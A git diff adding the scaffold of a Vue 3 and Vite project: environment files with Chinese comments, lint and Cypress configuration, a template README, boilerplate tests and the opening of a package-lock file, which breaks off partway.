diff --git a/a5_za_sf_finessa/.env b/a5_za_sf_finessa/.env new file mode 100644 index 0000000..09344c1 --- /dev/null +++ b/a5_za_sf_finessa/.env @@ -0,0 +1,5 @@ +# 平台本地运行端口号 +VITE_PORT = 8848 + +# 是否隐藏首页 隐藏 true 不隐藏 false (勿删除,VITE_HIDE_HOME只需在.env文件配置) +VITE_HIDE_HOME = false diff --git a/a5_za_sf_finessa/.env.development b/a5_za_sf_finessa/.env.development new file mode 100644 index 0000000..5eead7e --- /dev/null +++ b/a5_za_sf_finessa/.env.development @@ -0,0 +1,11 @@ +# 平台本地运行端口号 +VITE_PORT = 8848 + +# 开发环境读取配置文件路径 +VITE_PUBLIC_PATH = ./ + +# 网站前缀 +VITE_BASE_URL = "up.xx.sczqb6.top" + +# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数") +VITE_ROUTER_HISTORY = "hash" diff --git a/a5_za_sf_finessa/.env.production b/a5_za_sf_finessa/.env.production new file mode 100644 index 0000000..dc643cf --- /dev/null +++ b/a5_za_sf_finessa/.env.production @@ -0,0 +1,16 @@ +# 网站前缀 +VITE_BASE_URL=/ + +# 线上环境平台打包路径 +VITE_PUBLIC_PATH = ./ + +# 线上环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数") +VITE_ROUTER_HISTORY = "hash" + +# 是否在打包时使用cdn替换本地库 替换 true 不替换 false +VITE_CDN = false + +# 是否启用gzip压缩或brotli压缩(分两种情况,删除原始文件和不删除原始文件) +# 压缩时不删除原始文件的配置:gzip、brotli、both(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认) +# 压缩时删除原始文件的配置:gzip-clear、brotli-clear、both-clear(同时开启 gzip 与 brotli 压缩)、none(不开启压缩,默认) +VITE_COMPRESSION = "none" diff --git a/a5_za_sf_finessa/.eslintrc.cjs b/a5_za_sf_finessa/.eslintrc.cjs new file mode 100644 index 0000000..bc94687 --- /dev/null +++ b/a5_za_sf_finessa/.eslintrc.cjs @@ -0,0 +1,25 @@ +/* eslint-env node */ +require('@rushstack/eslint-patch/modern-module-resolution') + +module.exports = { + root: true, + 'extends': [ + 'plugin:vue/vue3-essential', + 'eslint:recommended', + '@vue/eslint-config-typescript', + '@vue/eslint-config-prettier' + ], + overrides: [ + { + files: [ + 'cypress/e2e/**/*.{cy,spec}.{js,ts,jsx,tsx}' + ], + 'extends': [ + 'plugin:cypress/recommended' + ] + } + ], + parserOptions: { + ecmaVersion: 'latest' + } +} diff --git a/a5_za_sf_finessa/.gitignore b/a5_za_sf_finessa/.gitignore new file mode 100644 index 0000000..38adffa --- /dev/null +++ b/a5_za_sf_finessa/.gitignore @@ -0,0 +1,28 @@ +# Logs +logs +*.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* +pnpm-debug.log* +lerna-debug.log* + +node_modules +.DS_Store +dist +dist-ssr +coverage +*.local + +/cypress/videos/ +/cypress/screenshots/ + +# Editor directories and files +.vscode/* +!.vscode/extensions.json +.idea +*.suo +*.ntvs* +*.njsproj +*.sln +*.sw? diff --git a/a5_za_sf_finessa/.prettierrc.json b/a5_za_sf_finessa/.prettierrc.json new file mode 100644 index 0000000..9e26dfe --- /dev/null +++ b/a5_za_sf_finessa/.prettierrc.json @@ -0,0 +1 @@ +{} \ No newline at end of file diff --git a/a5_za_sf_finessa/.vscode/extensions.json b/a5_za_sf_finessa/.vscode/extensions.json new file mode 100644 index 0000000..c0a6e5a --- /dev/null +++ b/a5_za_sf_finessa/.vscode/extensions.json @@ -0,0 +1,3 @@ +{ + "recommendations": ["Vue.volar", "Vue.vscode-typescript-vue-plugin"] +} diff --git a/a5_za_sf_finessa/README.md b/a5_za_sf_finessa/README.md new file mode 100644 index 0000000..b6165a7 --- /dev/null +++ b/a5_za_sf_finessa/README.md @@ -0,0 +1,68 @@ +# vue3-clean-architecture + +This template should help get you started developing with Vue 3 in Vite. + +## Recommended IDE Setup + +[VSCode](https://code.visualstudio.com/) + [Volar](https://marketplace.visualstudio.com/items?itemName=Vue.volar) (and disable Vetur) + [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin). + +## Type Support for `.vue` Imports in TS + +TypeScript cannot handle type information for `.vue` imports by default, so we replace the `tsc` CLI with `vue-tsc` for type checking. In editors, we need [TypeScript Vue Plugin (Volar)](https://marketplace.visualstudio.com/items?itemName=Vue.vscode-typescript-vue-plugin) to make the TypeScript language service aware of `.vue` types. + +If the standalone TypeScript plugin doesn't feel fast enough to you, Volar has also implemented a [Take Over Mode](https://github.com/johnsoncodehk/volar/discussions/471#discussioncomment-1361669) that is more performant. You can enable it by the following steps: + +1. Disable the built-in TypeScript Extension + 1) Run `Extensions: Show Built-in Extensions` from VSCode's command palette + 2) Find `TypeScript and JavaScript Language Features`, right click and select `Disable (Workspace)` +2. Reload the VSCode window by running `Developer: Reload Window` from the command palette. + +## Customize configuration + +See [Vite Configuration Reference](https://vitejs.dev/config/). + +## Project Setup + +```sh +npm install +``` + +### Compile and Hot-Reload for Development + +```sh +npm run dev +``` + +### Type-Check, Compile and Minify for Production + +```sh +npm run build +``` + +### Run Unit Tests with [Vitest](https://vitest.dev/) + +```sh +npm run test:unit +``` + +### Run End-to-End Tests with [Cypress](https://www.cypress.io/) + +```sh +npm run test:e2e:dev +``` + +This runs the end-to-end tests against the Vite development server. +It is much faster than the production build. + +But it's still recommended to test the production build with `test:e2e` before deploying (e.g. in CI environments): + +```sh +npm run build +npm run test:e2e +``` + +### Lint with [ESLint](https://eslint.org/) + +```sh +npm run lint +``` diff --git a/a5_za_sf_finessa/cypress.config.ts b/a5_za_sf_finessa/cypress.config.ts new file mode 100644 index 0000000..0f66080 --- /dev/null +++ b/a5_za_sf_finessa/cypress.config.ts @@ -0,0 +1,8 @@ +import { defineConfig } from 'cypress' + +export default defineConfig({ + e2e: { + specPattern: 'cypress/e2e/**/*.{cy,spec}.{js,jsx,ts,tsx}', + baseUrl: 'http://localhost:4173' + } +}) diff --git a/a5_za_sf_finessa/cypress/e2e/example.cy.ts b/a5_za_sf_finessa/cypress/e2e/example.cy.ts new file mode 100644 index 0000000..7a8c909 --- /dev/null +++ b/a5_za_sf_finessa/cypress/e2e/example.cy.ts @@ -0,0 +1,8 @@ +// https://docs.cypress.io/api/introduction/api.html + +describe('My First Test', () => { + it('visits the app root url', () => { + cy.visit('/') + cy.contains('h1', 'You did it!') + }) +}) diff --git a/a5_za_sf_finessa/cypress/e2e/tsconfig.json b/a5_za_sf_finessa/cypress/e2e/tsconfig.json new file mode 100644 index 0000000..be213ae --- /dev/null +++ b/a5_za_sf_finessa/cypress/e2e/tsconfig.json @@ -0,0 +1,10 @@ +{ + "extends": "@vue/tsconfig/tsconfig.web.json", + "include": ["./**/*", "../support/**/*"], + "compilerOptions": { + "isolatedModules": false, + "target": "es5", + "lib": ["es5", "dom"], + "types": ["cypress"] + } +} diff --git a/a5_za_sf_finessa/cypress/fixtures/example.json b/a5_za_sf_finessa/cypress/fixtures/example.json new file mode 100644 index 0000000..02e4254 --- /dev/null +++ b/a5_za_sf_finessa/cypress/fixtures/example.json @@ -0,0 +1,5 @@ +{ + "name": "Using fixtures to represent data", + "email": "hello@cypress.io", + "body": "Fixtures are a great way to mock data for responses to routes" +} diff --git a/a5_za_sf_finessa/cypress/support/commands.ts b/a5_za_sf_finessa/cypress/support/commands.ts new file mode 100644 index 0000000..9b7bb8e --- /dev/null +++ b/a5_za_sf_finessa/cypress/support/commands.ts @@ -0,0 +1,39 @@ +/// +// *********************************************** +// This example commands.ts shows you how to +// create various custom commands and overwrite +// existing commands. +// +// For more comprehensive examples of custom +// commands please read more here: +// https://on.cypress.io/custom-commands +// *********************************************** +// +// +// -- This is a parent command -- +// Cypress.Commands.add('login', (email, password) => { ... }) +// +// +// -- This is a child command -- +// Cypress.Commands.add('drag', { prevSubject: 'element'}, (subject, options) => { ... }) +// +// +// -- This is a dual command -- +// Cypress.Commands.add('dismiss', { prevSubject: 'optional'}, (subject, options) => { ... }) +// +// +// -- This will overwrite an existing command -- +// Cypress.Commands.overwrite('visit', (originalFn, url, options) => { ... }) +// +// declare global { +// namespace Cypress { +// interface Chainable { +// login(email: string, password: string): Chainable +// drag(subject: string, options?: Partial): Chainable +// dismiss(subject: string, options?: Partial): Chainable +// visit(originalFn: CommandOriginalFn, url: string, options: Partial): Chainable +// } +// } +// } + +export {} diff --git a/a5_za_sf_finessa/cypress/support/e2e.ts b/a5_za_sf_finessa/cypress/support/e2e.ts new file mode 100644 index 0000000..d68db96 --- /dev/null +++ b/a5_za_sf_finessa/cypress/support/e2e.ts @@ -0,0 +1,20 @@ +// *********************************************************** +// This example support/index.js is processed and +// loaded automatically before your test files. +// +// This is a great place to put global configuration and +// behavior that modifies Cypress. +// +// You can change the location of this file or turn off +// automatically serving support files with the +// 'supportFile' configuration option. +// +// You can read more here: +// https://on.cypress.io/configuration +// *********************************************************** + +// Import commands.js using ES2015 syntax: +import './commands' + +// Alternatively you can use CommonJS syntax: +// require('./commands') diff --git a/a5_za_sf_finessa/env.d.ts b/a5_za_sf_finessa/env.d.ts new file mode 100644 index 0000000..d4048c8 --- /dev/null +++ b/a5_za_sf_finessa/env.d.ts @@ -0,0 +1,4 @@ +/// +interface ImportMetaEnv { + VITE_BASE_URL: string; +} diff --git a/a5_za_sf_finessa/index.html b/a5_za_sf_finessa/index.html new file mode 100644 index 0000000..b5932e9 --- /dev/null +++ b/a5_za_sf_finessa/index.html @@ -0,0 +1,63 @@ + + + + + + + + + + + + + + + +
+ + + + + + \ No newline at end of file diff --git a/a5_za_sf_finessa/package-lock.json b/a5_za_sf_finessa/package-lock.json new file mode 100644 index 0000000..492da63 --- /dev/null +++ b/a5_za_sf_finessa/package-lock.json @@ -0,0 +1,8839 @@ +{ + "name": "vue3-clean-architecture", + "version": "0.0.0", + "lockfileVersion": 3, + "requires": true, + "packages": { + "": { + "name": "vue3-clean-architecture", + "version": "0.0.0", + "dependencies": { + "@types/lodash": "^4.17.12", + "axios": "^1.7.7", + "bootstrap": "^5.3.3", + "install": "^0.13.0", + "lodash": "^4.17.21", + "mitt": "^3.0.1", + "pinia": "^2.2.2", + "socket.io-client": "^4.8.1", + "uuid": "^13.0.0", + "vue": "^3.2.45", + "vue-i18n": "^10.0.4", + "vue-router": "^4.1.6", + "vue-scrollto": "^2.20.0", + "ws": "^8.18.0" + }, + "devDependencies": { + "@rushstack/eslint-patch": "^1.1.4", + "@types/jsdom": "^20.0.1", + "@types/node": "^18.11.12", + "@types/uuid": "^11.0.0", + "@vitejs/plugin-vue": "^4.0.0", + "@vue/eslint-config-prettier": "^7.0.0", + "@vue/eslint-config-typescript": "^11.0.0", + "@vue/test-utils": "^2.2.6", + "@vue/tsconfig": "^0.1.3", + "archiver": "^7.0.1", + "cypress": "^12.0.2", + "eslint": "^8.22.0", + "eslint-plugin-cypress": "^2.12.1", + "eslint-plugin-vue": "^9.3.0", + "jsdom": "^20.0.3", + "npm-run-all": "^4.1.5", + "prettier": "^2.7.1", + "start-server-and-test": "^1.15.2", + "typescript": "~4.7.4", + "vite": "^4.0.0", + "vitest": "^0.25.6", + "vue-tsc": "^1.0.12" + } + }, + "node_modules/@babel/helper-string-parser": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz", + "integrity": "sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.25.9", + "resolved": "https://registry.npmmirror.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz", + "integrity": "sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==", + "license": "MIT", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.26.10", + "resolved": "https://registry.npmmirror.com/@babel/parser/-/parser-7.26.10.tgz", + "integrity": "sha512-6aQR2zGE/QFi8JpDLjUZEPYOs7+mhKXm86VaKFiLP35JQwQb6bwUE+XbvkH0EptsYhbNBSUGaUBLKqxH1xSgsA==", + "license": "MIT", + "dependencies": { + "@babel/types": "^7.26.10" + }, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/types": { + "version": "7.26.10", + "resolved": "https://registry.npmmirror.com/@babel/types/-/types-7.26.10.tgz", + "integrity": "sha512-emqcG3vHrpxUKTrxcblR36dcrcoRDvKmnL/dCL6ZsHaShW80qxCAcNhzQZrpeM765VzEos+xOi4s+r4IXzTwdQ==", + "license": "MIT", + "dependencies": { + "@babel/helper-string-parser": "^7.25.9", + "@babel/helper-validator-identifier": "^7.25.9" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@colors/colors": { + "version": "1.5.0", + "resolved": "https://registry.npmmirror.com/@colors/colors/-/colors-1.5.0.tgz", + "integrity": "sha512-ooWCrlZP11i8GImSjTHYHLkvFDP48nS4+204nGb1RiX/WXYHmJA2III9/e2DWVabCESdW7hBAEzHRqUn9OUVvQ==", + "dev": true, + "license": "MIT", + "optional": true, + "engines": { + "node": ">=0.1.90" + } + }, + "node_modules/@cypress/request": { + "version": "2.88.12", + "resolved": "https://registry.npmmirror.com/@cypress/request/-/request-2.88.12.tgz", + "integrity": "sha512-tOn+0mDZxASFM+cuAP9szGUGPI1HwWVSvdzm7V4cCsPdFTx6qMj29CwaQmRAMIEhORIUBFBsYROYJcveK4uOjA==", + "dev": true, + "license": "Apache-2.0", + "dependencies": { + "aws-sign2": "~0.7.0", + "aws4": "^1.8.0", + "caseless": "~0.12.0", + "combined-stream": "~1.0.6", + "extend": "~3.0.2", + "forever-agent": "~0.6.1", + "form-data": "~2.3.2", + "http-signature": "~1.3.6", + "is-typedarray": "~1.0.0", + "isstream": "~0.1.2", + "json-stringify-safe": "~5.0.1", + "mime-types": "~2.1.19", + "performance-now": "^2.1.0", + "qs": "~6.10.3", + "safe-buffer": "^5.1.2", + "tough-cookie": "^4.1.3", + "tunnel-agent": "^0.6.0", + "uuid": "^8.3.2" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/@cypress/request/node_modules/form-data": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-2.3.3.tgz", + "integrity": "sha512-1lLKB2Mu3aGP1Q/2eCOx0fNbRMe7XdwktwOruhfqqd0rIJWwN4Dh+E3hrPSlDCXnSR7UtZ1N38rVXm+6+MEhJQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/@cypress/request/node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "license": "MIT", + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/@cypress/xvfb": { + "version": "1.2.4", + "resolved": "https://registry.npmmirror.com/@cypress/xvfb/-/xvfb-1.2.4.tgz", + "integrity": "sha512-skbBzPggOVYCbnGgV+0dmBdW/s77ZkAOXIC1knS8NagwDjBrNC1LuXtQJeiN6l+m7lzmHtaoUw/ctJKdqkG57Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "^3.1.0", + "lodash.once": "^4.1.1" + } + }, + "node_modules/@cypress/xvfb/node_modules/debug": { + "version": "3.2.7", + "resolved": "https://registry.npmmirror.com/debug/-/debug-3.2.7.tgz", + "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ms": "^2.1.1" + } + }, + "node_modules/@esbuild/android-arm": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm/-/android-arm-0.18.20.tgz", + "integrity": "sha512-fyi7TDI/ijKKNZTUJAQqiG5T7YjJXgnzkURqmGj13C6dCqckZBLdl4h7bkhHt/t0WP+zO9/zwroDvANaOqO5Sw==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/android-arm64/-/android-arm64-0.18.20.tgz", + "integrity": "sha512-Nz4rJcchGDtENV0eMKUNa6L12zz2zBDXuhj/Vjh18zGqB44Bi7MBMSXjgunJgjRhCmKOjnPuZp4Mb6OKqtMHLQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/android-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/android-x64/-/android-x64-0.18.20.tgz", + "integrity": "sha512-8GDdlePJA8D6zlZYJV/jnrRAi6rOiNaCC/JclcXpB+KIuvfBN4owLtgzY2bsxnx666XjJx2kDPUmnTtR8qKQUg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-arm64/-/darwin-arm64-0.18.20.tgz", + "integrity": "sha512-bxRHW5kHU38zS2lPTPOyuyTm+S+eobPUnTNkdJEfAddYgEcll4xkT8DB9d2008DtTbl7uJag2HuE5NZAZgnNEA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/darwin-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/darwin-x64/-/darwin-x64-0.18.20.tgz", + "integrity": "sha512-pc5gxlMDxzm513qPGbCbDukOdsGtKhfxD1zJKXjCCcU7ju50O7MeAZ8c4krSJcOIJGFR+qx21yMMVYwiQvyTyQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-arm64/-/freebsd-arm64-0.18.20.tgz", + "integrity": "sha512-yqDQHy4QHevpMAaxhhIwYPMv1NECwOvIpGCZkECn8w2WFHXjEwrBn3CeNIYsibZ/iZEUemj++M26W3cNR5h+Tw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/freebsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/freebsd-x64/-/freebsd-x64-0.18.20.tgz", + "integrity": "sha512-tgWRPPuQsd3RmBZwarGVHZQvtzfEBOreNuxEMKFcd5DaDn2PbBxfwLcj4+aenoh7ctXcbXmOQIn8HI6mCSw5MQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm/-/linux-arm-0.18.20.tgz", + "integrity": "sha512-/5bHkMWnq1EgKr1V+Ybz3s1hWXok7mDFUMQ4cG10AfW3wL02PSZi5kFpYKrptDsgb2WAJIvRcDm+qIvXf/apvg==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-arm64/-/linux-arm64-0.18.20.tgz", + "integrity": "sha512-2YbscF+UL7SQAVIpnWvYwM+3LskyDmPhe31pE7/aoTMFKKzIc9lLbyGUpmmb8a8AixOL61sQ/mFh3jEjHYFvdA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ia32": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ia32/-/linux-ia32-0.18.20.tgz", + "integrity": "sha512-P4etWwq6IsReT0E1KHU40bOnzMHoH73aXp96Fs8TIT6z9Hu8G6+0SHSw9i2isWrD2nbx2qo5yUqACgdfVGx7TA==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-loong64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-loong64/-/linux-loong64-0.18.20.tgz", + "integrity": "sha512-nXW8nqBTrOpDLPgPY9uV+/1DjxoQ7DoB2N8eocyq8I9XuqJ7BiAMDMf9n1xZM9TgW0J8zrquIb/A7s3BJv7rjg==", + "cpu": [ + "loong64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-mips64el": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-mips64el/-/linux-mips64el-0.18.20.tgz", + "integrity": "sha512-d5NeaXZcHp8PzYy5VnXV3VSd2D328Zb+9dEq5HE6bw6+N86JVPExrA6O68OPwobntbNJ0pzCpUFZTo3w0GyetQ==", + "cpu": [ + "mips64el" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-ppc64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-ppc64/-/linux-ppc64-0.18.20.tgz", + "integrity": "sha512-WHPyeScRNcmANnLQkq6AfyXRFr5D6N2sKgkFo2FqguP44Nw2eyDlbTdZwd9GYk98DZG9QItIiTlFLHJHjxP3FA==", + "cpu": [ + "ppc64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-riscv64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-riscv64/-/linux-riscv64-0.18.20.tgz", + "integrity": "sha512-WSxo6h5ecI5XH34KC7w5veNnKkju3zBRLEQNY7mv5mtBmrP/MjNBCAlsM2u5hDBlS3NGcTQpoBvRzqBcRtpq1A==", + "cpu": [ + "riscv64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-s390x": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-s390x/-/linux-s390x-0.18.20.tgz", + "integrity": "sha512-+8231GMs3mAEth6Ja1iK0a1sQ3ohfcpzpRLH8uuc5/KVDFneH6jtAJLFGafpzpMRO6DzJ6AvXKze9LfFMrIHVQ==", + "cpu": [ + "s390x" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/linux-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/linux-x64/-/linux-x64-0.18.20.tgz", + "integrity": "sha512-UYqiqemphJcNsFEskc73jQ7B9jgwjWrSayxawS6UVFZGWrAAtkzjxSqnoclCXxWtfwLdzU+vTpcNYhpn43uP1w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/netbsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/netbsd-x64/-/netbsd-x64-0.18.20.tgz", + "integrity": "sha512-iO1c++VP6xUBUmltHZoMtCUdPlnPGdBom6IrO4gyKPFFVBKioIImVooR5I83nTew5UOYrk3gIJhbZh8X44y06A==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "netbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/openbsd-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/openbsd-x64/-/openbsd-x64-0.18.20.tgz", + "integrity": "sha512-e5e4YSsuQfX4cxcygw/UCPIEP6wbIL+se3sxPdCiMbFLBWu0eiZOJ7WoD+ptCLrmjZBK1Wk7I6D/I3NglUGOxg==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "openbsd" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/sunos-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/sunos-x64/-/sunos-x64-0.18.20.tgz", + "integrity": "sha512-kDbFRFp0YpTQVVrqUd5FTYmWo45zGaXe0X8E1G/LKFC0v8x0vWrhOWSLITcCn63lmZIxfOMXtCfti/RxN/0wnQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "sunos" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-arm64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-arm64/-/win32-arm64-0.18.20.tgz", + "integrity": "sha512-ddYFR6ItYgoaq4v4JmQQaAI5s7npztfV4Ag6NrhiaW0RrnOXqBkgwZLofVTlq1daVTQNhtI5oieTvkRPfZrePg==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-ia32": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-ia32/-/win32-ia32-0.18.20.tgz", + "integrity": "sha512-Wv7QBi3ID/rROT08SABTS7eV4hX26sVduqDOTe1MvGMjNd3EjOz4b7zeexIR62GTIEKrfJXKL9LFxTYgkyeu7g==", + "cpu": [ + "ia32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@esbuild/win32-x64": { + "version": "0.18.20", + "resolved": "https://registry.npmmirror.com/@esbuild/win32-x64/-/win32-x64-0.18.20.tgz", + "integrity": "sha512-kTdfRcSiDfQca/y9QIkng02avJ+NCaQvrMejlsB3RRv5sE9rRoeBPISaZpKxHELzRxZyLvNts1P27W3wV+8geQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">=12" + } + }, + "node_modules/@eslint-community/eslint-utils": { + "version": "4.5.1", + "resolved": "https://registry.npmmirror.com/@eslint-community/eslint-utils/-/eslint-utils-4.5.1.tgz", + "integrity": "sha512-soEIOALTfTK6EjmKMMoLugwaP0rzkad90iIWd1hMO9ARkSAyjfMfkRRhLvD5qH7vvM0Cg72pieUfR6yh6XxC4w==", + "dev": true, + "license": "MIT", + "dependencies": { + "eslint-visitor-keys": "^3.4.3" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + }, + "peerDependencies": { + "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" + } + }, + "node_modules/@eslint-community/regexpp": { + "version": "4.12.1", + "resolved": "https://registry.npmmirror.com/@eslint-community/regexpp/-/regexpp-4.12.1.tgz", + "integrity": "sha512-CCZCDJuduB9OUkFkY2IgppNZMi2lBQgD2qzwXkEia16cge2pijY/aXi96CJMquDMn3nJdlPV1A5KrJEXwfLNzQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^12.0.0 || ^14.0.0 || >=16.0.0" + } + }, + "node_modules/@eslint/eslintrc": { + "version": "2.1.4", + "resolved": "https://registry.npmmirror.com/@eslint/eslintrc/-/eslintrc-2.1.4.tgz", + "integrity": "sha512-269Z39MS6wVJtsoUl10L60WdkhJVdPG24Q4eZTH3nnF6lpvSShEK3wQjDX9JRWAUPvPh7COouPpU9IrqaZFvtQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.4", + "debug": "^4.3.2", + "espree": "^9.6.0", + "globals": "^13.19.0", + "ignore": "^5.2.0", + "import-fresh": "^3.2.1", + "js-yaml": "^4.1.0", + "minimatch": "^3.1.2", + "strip-json-comments": "^3.1.1" + }, + "engines": { + "node": "^12.22.0 || ^14.17.0 || >=16.0.0" + }, + "funding": { + "url": "https://opencollective.com/eslint" + } + }, + "node_modules/@eslint/js": { + "version": "8.57.1", + "resolved": "https://registry.npmmirror.com/@eslint/js/-/js-8.57.1.tgz", + "integrity": "sha512-d9zaMRSTIKDLhctzH12MtXvJKSSUhaHcjV+2Z+GK+EEY7XKpP5yR4x+N3TAcHTcu963nIr+TMcCb4DBCYX1z6Q==", + "dev": true, + 